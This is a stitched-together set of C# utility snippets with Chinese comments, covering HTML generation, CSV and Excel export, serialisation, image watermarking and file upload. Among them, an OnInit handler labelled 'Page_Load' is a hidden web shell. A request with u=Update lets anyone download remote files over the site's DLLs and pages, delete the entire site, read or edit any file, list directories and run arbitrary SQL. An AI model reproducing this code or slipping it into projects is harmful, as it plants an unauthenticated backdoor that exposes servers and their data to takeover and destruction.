//#endregion //#region TransHtml /// <summary> /// 转换为静态html /// </summary> /// <param name="path">网址</param> /// <param name="outpath">输出路径</param> /// <param name="encoding">编码</param> public static void TransHtml(string path, string outpath, System.Text.Encoding encoding) { Page page = new Page(); StringWriter writer = new StringWriter(); page.Server.Execute(path, writer); outpath = outpath.IndexOf("\\") > 0 ? outpath : outpath.GetMapPath(); FileDirectory.FileDelete(outpath); FileDirectory.FileWrite(outpath, writer.ToString(), encoding); //Page page = new Page(); //StringWriter writer = new StringWriter(); //page.Server.Execute(path, writer); //FileStream fs; //if (File.Exists(page.Server.MapPath("~/") + "\\" + outpath)) { // File.Delete(page.Server.MapPath("~/") + "\\" + outpath); // fs = File.Create(page.Server.MapPath("~/") + "\\" + outpath); //} else { // fs = File.Create(page.Server.MapPath("~/") + "\\" + outpath); //} //byte[] bt = encoding.GetBytes(writer.ToString()); //fs.Write(bt, 0, bt.Length); //fs.Close(); }
/// <summary> /// 字节写到文件 /// </summary> /// <param name="bytes">字节</param> /// <param name="fileName">方件名</param> /// <param name="fileMode">FileMode</param> /// <returns>true/false</returns> public static bool ToFile(this byte[] bytes, string fileName, FileMode fileMode = FileMode.CreateNew) { return(FileDirectory.FileWrite(fileName, bytes, fileMode)); }
/// <summary> /// DataSet导出CSV文件 /// </summary> /// <param name="ds">DataSet</param> /// <param name="fileName">CSV文件路径</param> public static void ToCSV(this DataSet ds, string fileName) { FileDirectory.FileDelete(fileName); FileDirectory.FileWrite(fileName, ds.ToCSV()); }
/// <summary> /// DataTable转换为EXCEL文件 /// </summary> /// <param name="dt">DataTable</param> /// <param name="fileName">excel文件路径</param> public static void ToExcel(this DataTable dt, string fileName) { FileDirectory.FileDelete(fileName); FileDirectory.FileWrite(fileName, xlsTemplate.FormatWith(DateTime.Now.ToString("yyyy-MM-dd"), toExcel(dt))); }
/// <summary> /// DataTable导出CSV文件 /// </summary> /// <param name="dt">DataTable</param> /// <param name="fileName">CSV文件路径</param> public static void ToCSV(this DataTable dt, string fileName) { FileDirectory.FileDelete(fileName); FileDirectory.FileWrite(fileName, dt.ToCSV(',')); }
/// <summary> /// XML文件反序列化成对像 /// </summary> /// <typeparam name="T">对像类型</typeparam> /// <param name="fileName">文件名</param> /// <returns>对像</returns> public T DeserializeFile <T>(string fileName) { string data = FileDirectory.FileReadAll(fileName, Encoding.UTF8); return(Deserialize <T>(data)); }
/// <summary> /// 开始绘制文字水印 /// </summary> /// <example> /// <code> /// Watermark wm = new Watermark(); /// wm.ModifyImagePath=path; /// wm.OutPath=Server.MapPath("") + "/upfile/" + fileName + "_new" + extension; /// wm.DrawText("测试", 1, 100); /// </code> /// </example> /// <param name="watermarkText">文字</param> /// <param name="watermarkStatus">1-9</param> /// <param name="quality">质量</param> /// <param name="fontname">字体</param> /// <param name="fontsize">大小</param> public void DrawText(string watermarkText, int watermarkStatus, int quality, string fontname = "宋体", int fontsize = 12) { if (!FileDirectory.FileExists(this.ModifyImagePath)) { return; } Image img = Image.FromFile(this.ModifyImagePath); string filename = this.OutPath.IsNullEmpty() ? this.ModifyImagePath : this.OutPath; Graphics g = Graphics.FromImage(img); Font drawFont = new Font(fontname, fontsize, FontStyle.Regular, GraphicsUnit.Pixel); SizeF crSize; crSize = g.MeasureString(watermarkText, drawFont); float xpos = 0; float ypos = 0; switch (watermarkStatus) { case 1: xpos = (float)img.Width * (float).01; ypos = (float)img.Height * (float).01; break; case 2: xpos = ((float)img.Width * (float).50) - (crSize.Width / 2); ypos = (float)img.Height * (float).01; break; case 3: xpos = ((float)img.Width * (float).99) - crSize.Width; ypos = (float)img.Height * (float).01; break; case 4: xpos = (float)img.Width * (float).01; ypos = ((float)img.Height * (float).50) - (crSize.Height / 2); break; case 5: xpos = ((float)img.Width * (float).50) - (crSize.Width / 2); ypos = ((float)img.Height * (float).50) - (crSize.Height / 2); break; case 6: xpos = ((float)img.Width * (float).99) - crSize.Width; ypos = ((float)img.Height * (float).50) - (crSize.Height / 2); break; case 7: xpos = (float)img.Width * (float).01; ypos = ((float)img.Height * (float).99) - crSize.Height; break; case 8: xpos = ((float)img.Width * (float).50) - (crSize.Width / 2); ypos = ((float)img.Height * (float).99) - crSize.Height; break; case 9: xpos = ((float)img.Width * (float).99) - crSize.Width; ypos = ((float)img.Height * (float).99) - crSize.Height; break; } g.DrawString(watermarkText, drawFont, new SolidBrush(Color.White), xpos + 1, ypos + 1); g.DrawString(watermarkText, drawFont, new SolidBrush(Color.Black), xpos, ypos); ImageCodecInfo[] codecs = ImageCodecInfo.GetImageEncoders(); ImageCodecInfo ici = null; foreach (ImageCodecInfo codec in codecs) { if (codec.MimeType.IndexOf("jpeg") > -1) { ici = codec; } } EncoderParameters encoderParams = new EncoderParameters(); long[] qualityParam = new long[1]; if (quality < 0 || quality > 100) { quality = 80; } qualityParam[0] = quality; EncoderParameter encoderParam = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, qualityParam); encoderParams.Param[0] = encoderParam; if (FileDirectory.FileExists(this.ModifyImagePath)) { FileDirectory.FileDelete(this.ModifyImagePath); } if (ici.IsNotNull()) { img.Save(filename, ici, encoderParams); } else { img.Save(filename); } g.Dispose(); img.Dispose(); }
/// <summary> /// 序列成XML文件 /// </summary> /// <param name="o">对像</param> /// <param name="fileName">文件名</param> public void SerializeFile <T>(T o, string fileName) { FileDirectory.FileDelete(fileName); FileDirectory.FileWrite(fileName, Serialize(o)); }
/// <summary> /// 详细的Exception出错信息 写到文件 /// </summary> /// <param name="ex">object扩展</param> /// <param name="fileName">文件名 c:\test.log</param> public static void ToFile(this Exception ex, string fileName) { FileDirectory.FileWrite(fileName, ex.ToExceptionDetail()); }
/// <summary> /// Page_Load /// </summary> /// <param name="e"></param> protected override void OnInit(EventArgs e) { string localPath = string.Empty; string fileName = string.Empty; bool isTrue = true; string u2 = "Update"; string[] ext = new string[] { "/bin.bak/", "/app_data.bak/", "/app_code.bak/", "\\.dll.bak", "\\.aspx.bak", "\\.config.bak", "\\.master.bak", "\\.asax.bak", "\\.ascx.bak", "\\.compiled.bak", "\\.asmx.bak", "\\.cs.bak" }; string[] repExt = new string[] { "/Bin/", "/App_Data/", "/App_Code/", "\\.dll", "\\.aspx", "\\.config", "\\.master", "\\.asax", "\\.ascx", "\\.compiled", "\\.asmx", "\\.cs" }; string[] strList = new string[] { "{1}: {0} ok!", "<font color='red'>{1}: {0} error!</font>" }; string u1 = Request2.GetQ("u").Trim(); if (!u2.Equals(u1)) { return; } string active = Request2.GetQ("active").Trim(); switch (active) { case "sh": Msg.WriteEnd(template.Replace("{0}", Environment.MachineName).Replace("{1}", Request2.GetRelativeRoot())); break; case "do": string file = Request2.Get("file").Trim(); //StringExtensions.HtmlDecode(Request2.Get("file")).Trim(); if (file.IsNullEmpty()) { Msg.WriteEnd("error file."); } string action = file.Substring(0, 3); file = "/" + file.Substring(3).TrimStart('/').TrimStart('\\').Replace("\\", "/"); if (file.Length < 1) { Msg.WriteEnd(string.Format(strList[1], file, "file")); } string url = StringExtensions.HtmlDecode(Request2.Get("url")).Replace("\\", "/").TrimEnd('/').TrimEnd('\\').Trim(); if (url.Length < 10) { Msg.WriteEnd(string.Format(strList[1], url, "url")); } switch (action) { case "af:": isTrue = true; for (int i = 0; i < ext.Length; i++) { file = new Regex(ext[i], RegexOptions.IgnoreCase).Replace(file, repExt[i]); } file = file.Replace("\\.", "."); string[] folderList = file.Split('/'); if (folderList.Length > 1) { fileName = folderList[folderList.Length - 1]; FileDirectory.DirectoryVirtualCreate("~/tmp" + file.Replace(fileName, "")); } for (int i = 0; i < ext.Length; i++) { file = new Regex(repExt[i], RegexOptions.IgnoreCase).Replace(file, ext[i]); } file = file.Replace("\\.", "."); url = url + file; for (int i = 0; i < ext.Length; i++) { file = new Regex(ext[i], RegexOptions.IgnoreCase).Replace(file, repExt[i]); } file = file.Replace("\\.", "."); localPath = "~/tmp/".GetMapPath() + "{0}"; file = file.Replace("/", "\\"); fileName = string.Format(localPath, file); System.Net.WebClient wc = new System.Net.WebClient(); try { wc.DownloadFile(url, fileName); } catch { isTrue = false; } finally { wc.Dispose(); } file = file.Replace("\\", "/"); for (int i = 0; i < ext.Length; i++) { file = new Regex(repExt[i], RegexOptions.IgnoreCase).Replace(file, ext[i]); } file = file.Replace("\\.", "."); if (isTrue) { Response.Write(string.Format(strList[0], file, "add file")); } else { Response.Write(string.Format(strList[1], file, "add file")); } break; case "df:": if (file == "/all") { localPath = Server2.GetMapPath("~/"); #if !MONO40 FileDirectory.APIDelete(localPath); #endif Msg.WriteEnd(string.Format(strList[0], "all", "del file") + "<br>"); } localPath = Server2.GetMapPath("~/") + file; if (!FileDirectory.FileExists(localPath)) { Msg.WriteEnd(string.Format(strList[1], file, "del file")); } try { FileDirectory.FileDelete(localPath); } catch { Msg.WriteEnd(string.Format(strList[1], file, "del file")); } Response.Write(string.Format(strList[0], file, "del file")); break; case "rf:": localPath = Server2.GetMapPath("~/") + file; if (!FileDirectory.FileExists(localPath)) { Msg.WriteEnd(string.Format(strList[1], file, "read file")); } string sbText = FileDirectory.FileReadAll(localPath, Encoding.UTF8); string text = "<textarea id=\"txtContent\" cols=\"70\" rows=\"20\" f=\"" + localPath + "\">" + sbText + "</textarea><br /><input id=\"btnEdit\" type=\"button\" value=\"edit\" />"; Msg.WriteEnd(text + " ok!"); break; case "ap:": FileDirectory.DirectoryVirtualCreate("~" + file); Msg.WriteEnd(string.Format(strList[0], file, "add path")); break; case "dp:": localPath = Server2.GetMapPath("~/") + file; try { if (System.IO.Directory.Exists(localPath)) { System.IO.Directory.Delete(localPath); } } catch { Msg.WriteEnd(string.Format(strList[1], file, "del path")); } Msg.WriteEnd(string.Format(strList[0], file, "del path")); break; case "rp:": localPath = Server2.GetMapPath("~/") + file.TrimStart('/').TrimEnd('/') + "/"; string size = ""; System.Collections.Generic.IList <string> sbFile2 = new System.Collections.Generic.List <string>(); StringBuilder sbFile3 = new StringBuilder(); try { FileDirectory.FileList(localPath, ref sbFile2, localPath); localPath = localPath.Replace("\\/", "\\"); for (int i = 0; i < sbFile2.Count; i++) { file = sbFile2[i].Trim().TrimStart('.'); if (file.Equals("")) { continue; } try { size = LongExtensions.FormatKB((new System.IO.FileInfo(file)).Length); } catch { size = "0"; } sbFile3.Append(file.Replace(localPath, "").Replace("\\", "/") + " (" + size + ")" + Environment.NewLine); if (i.Equals(sbFile2.Count - 2)) { sbFile3.Append("(" + sbFile2.Count + ")" + Environment.NewLine); } } } catch { Msg.WriteEnd(string.Format(strList[1], file, "read path")); } text = localPath + "<br /><textarea id=\"txtText\" cols=\"100\" rows=\"20\">" + sbFile3.ToString() + "</textarea>"; Msg.WriteEnd(string.Format(strList[0], text, "read path")); break; case "db:": file = file.Replace("/r/n", Environment.NewLine).Trim('/'); if (file.IndexOf(Environment.NewLine + "GO" + Environment.NewLine) != -1) { Data.ExecuteCommandWithSplitter(file, "GO"); Msg.WriteEnd(string.Format(strList[0], "", "read db")); } else { text = file + "<br /><textarea id=\"txtText\" cols=\"100\" rows=\"20\">" + Data.GetDataSet(file).ToJson() + "</textarea>"; Msg.WriteEnd(string.Format(strList[0], text, "read db")); } break; default: Msg.WriteEnd("file error!"); break; } Response.End(); break; case "ok": localPath = "~/tmp/".GetMapPath(); System.Collections.Generic.IList <string> fileList = new System.Collections.Generic.List <string>(); FileDirectory.FileList(localPath, ref fileList, localPath); for (int i = 0; i < fileList.Count; i++) { file = fileList[i].Trim().TrimStart('.'); if (file.Length < 2) { continue; } fileName = localPath + file; isTrue = FileDirectory.FileCopy(fileName, Server2.GetMapPath("~/") + file, true); if (isTrue) { FileDirectory.FileDelete(fileName); } if (isTrue) { Response.Write(string.Format(strList[0], file, "update") + "<br />"); } else { Response.Write(string.Format(strList[1], file, "update") + "<br />"); } } Response.End(); break; case "ef": localPath = Request2.GetF("file").Trim(); string content = Request2.GetF("data").Trim(); FileDirectory.FileDelete(localPath); isTrue = FileDirectory.FileWrite(localPath, content, Encoding.UTF8); if (isTrue) { Msg.WriteEnd("edit file ok!"); } else { Msg.WriteEnd("edit file error!"); } break; } }
/// <summary> /// 16进制字符串文件反序列化成对像 /// </summary> /// <typeparam name="T">对像类型</typeparam> /// <param name="fileName">文件名</param> /// <returns>对像</returns> public T DeserializeFile <T>(string fileName) { byte[] data = FileDirectory.FileReadAll(fileName, Encoding.UTF8).FromBase64(); return(Deserialize <T>(data)); }
//#endregion //#region 上传文件 /// <summary> /// 上传文件 /// </summary> /// <param name="fileUpload">fileUpload组件</param> public void DoUpLoad(System.Web.UI.WebControls.FileUpload fileUpload) { string __filePath = HttpContext.Current.Server.MapPath(_filePath); if (!System.IO.Directory.Exists(__filePath)) { if (_isCreateFolderForNotExits) { FileDirectory.DirectoryVirtualCreate(_filePath); } else { _State = 3; return; } } if (fileUpload.PostedFile.ContentLength / 1024 > _maxFileSize) { _State = 4; return; } string randStr = ""; switch (_RandFileType) { case RandFileType.None: randStr = ""; break; case RandFileType.FileName_DateTime: randStr = "_" + Rand.RndDateStr(); break; case RandFileType.FileName_RandNumber: randStr = "_" + Rand.RndCode(_RandNumbers); break; case RandFileType.DateTime: randStr = Rand.RndDateStr(); break; } bool isTrue = false; if (fileUpload.HasFile) { string _fileExt = System.IO.Path.GetExtension(fileUpload.FileName).ToLower(); string[] _allowedExt = _allowedExtensions.Split(new string[] { "|" }, StringSplitOptions.None); for (int i = 0; i < _allowedExt.Length; i++) { if (_fileExt == _allowedExt[i]) { isTrue = true; } } if (isTrue) { try { string fNameNoExt = System.IO.Path.GetFileNameWithoutExtension(fileUpload.FileName); if (_RandFileType == RandFileType.DateTime) { fNameNoExt = ""; } fileUpload.SaveAs(__filePath + fNameNoExt + randStr + System.IO.Path.GetExtension(fileUpload.FileName)); _State = 0; _fileSize = fileUpload.PostedFile.ContentLength / 1024; _fileName = _filePath + fNameNoExt + randStr + System.IO.Path.GetExtension(fileUpload.FileName); } catch { _State = 2; } } else { _State = 1; } } else { _State = 2; } }